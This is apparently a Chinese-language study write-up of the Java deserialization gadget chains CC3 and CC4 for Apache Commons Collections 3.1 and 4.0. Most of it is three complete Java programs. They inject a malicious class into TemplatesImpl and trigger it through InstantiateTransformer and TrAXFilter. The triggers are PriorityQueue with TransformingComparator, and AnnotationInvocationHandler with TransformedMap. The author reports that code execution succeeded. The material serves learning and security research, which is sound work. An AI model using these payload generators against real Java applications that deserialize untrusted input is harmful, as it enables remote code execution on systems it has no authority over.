版本:jdk8u25
依赖:Apache Commons Collections 3.1和Apache Commons Collections 4.01 2 3 4 5 6 7 8 9 10 11 12 <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
cc3链详解 TrAXFilter触发 还是和第一次的TemplateImp链子有关,我们回忆一下TemplateImp链子触发函数
newTransformer()
getOutProperties()
这次的cc3链子触发函数是newTransformer(),和往常一样,查找谁调用了newTransformer()
可以看到:
有很多类,我们直接步入正题查看com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类,调用逻辑为:
1 2 3 4 5 6 7 public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
直接在构造函数调用了,调用的实例templates,也就是构造函数传入的实参。也就是说调用了他的构造函数并传入恶意实例即可触发。
那该怎么调用呢,这里cc3链子的发现者用了一个新的的类:org.apache.commons.collections.functors.InstantiateTransformer
我们查看这个类的transform函数:
解析一下,如果输入的实例不是Class的实例的话,就抛出异常
反之就调用获取输入的Object的实参为iParamTypes的构造函数
调用构造函数,实参为iArgs
我们查看iParamTypes和iArgs是否可控,发现在构造函数中:
1 2 3 4 5 public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; }
直接赋值了,完全可控
那么我们的思路就非常明显了
创造恶意TemplateImp实例
创建InstantiateTransformer实例
将InstantiateTransformer实例的iArgs赋值成恶意TemplateImp实例
将InstantiateTransformer实例的iParamTypes赋值成Templates.class
调用InstantiateTransformer实例的transform函数,实参为TrAXFilter.class
然后即可触发,写个小测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; public class testTransform { public static void main(String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); Class templatesClass=templates.getClass(); Field _nameField=templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Nebu1ea"); Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes= Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1=new byte[1][bytes.length]; bytes1[0]=bytes; _bytecodesField.set(templates,bytes1); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); Class[] classes=new Class[]{Templates.class}; Object[] objects=new Object[]{templates}; InstantiateTransformer instantiateTransformer=new InstantiateTransformer(classes,objects); instantiateTransformer.transform(TrAXFilter.class); } }
成功召唤计算机,那么cc3链子最重要的部分到这就结束了
到此为止的链子为InstantiateTransformer.transform->TrAXFilter.TrAXFilter->TemplateImp.newTransform->getTransletInstance()->defineTransletClasses()->defineClass()
那么接下来就是怎么反序列化触发了,这就非常明显了,cc1的sun.reflect.annotation.AnnotationInvocationHandler和cc2的PriorityQueue能完美触发
接下来开始测试:
cc4调用链 没错,用cc2的PriorityQueue触发cc3链就是cc4链子
链子:readObject->PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare->InstantiateTransformer.transform
QueueTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue; public class QueueTest { public static String serialize(Object a) throws Exception{ ByteArrayOutputStream byteArrayInputStream=new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayInputStream); out.writeObject(a); out.flush(); out.close(); byte[] serial=byteArrayInputStream.toByteArray(); String payload= Base64.getEncoder().encodeToString(serial); return payload; } public static Object unserialize(String payload) throws Exception{ byte[] bytes=Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); return obj; } public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); // 赋值_name Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Nebu1ea"); // 赋值_bytecodes Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1 = new byte[1][bytes.length]; bytes1[0]=bytes; _bytecodesField.set(templates,bytes1); Class[] classes=new Class[]{Templates.class}; Object[] objects=new Object[]{templates}; InstantiateTransformer instantiateTransformer=new InstantiateTransformer(classes,objects); // instantiateTransformer.transform(TrAXFilter.class); TransformingComparator comparator=new TransformingComparator(instantiateTransformer); PriorityQueue priorityQueue=new PriorityQueue(2,null); priorityQueue.offer("Nebu"); priorityQueue.offer("1ea"); Field field=priorityQueue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue,comparator); Object[] queue=new Object[]{TrAXFilter.class,TrAXFilter.class}; Field field1=priorityQueue.getClass().getDeclaredField("queue"); field1.setAccessible(true); field1.set(priorityQueue,queue); String payload=serialize(priorityQueue); unserialize(payload); } }
思考与测试 这里是用cc1的AnnotationInvocationHandler触发的
链子:ObjectInputStream.readObject->AnnotationInvocationHandler.readObject->TransformedMap.entrySet().iterator().next().setValue->TransformedMap.checkSetValue->TransformedMap.transform->ChainedTransformer.transform->ConstantTransformer.transform->InstantiateTransformer.transform
AnnTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import org.apache.commons.collections.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Map; public class Anntest { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); // 赋值_name Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"Nebu1ea"); // 赋值_bytecodes Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); byte[][] bytes1 = new byte[1][bytes.length]; bytes1[0]=bytes; _bytecodesField.set(templates,bytes1); Class[] classes=new Class[]{Templates.class}; Object[] objects=new Object[]{templates}; InstantiateTransformer instantiateTransformer=new InstantiateTransformer(classes,objects); ConstantTransformer constantTransformer=new ConstantTransformer(TrAXFilter.class); Transformer[] Transformers=new Transformer[]{constantTransformer, instantiateTransformer}; Transformer chainedTransformer =new ChainedTransformer(Transformers); Map map=new HashedMap(); map.put("value","Nebu1ea"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Target.class,transformedMap); //序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); byte[] bytes2=byteArrayOutputStream.toByteArray(); //反序列化 ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes2); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
结语 已经学习过cc1,cc2和TemplateImp链子后,cc3链子已经不成问题了
就此结束,Ciallo~~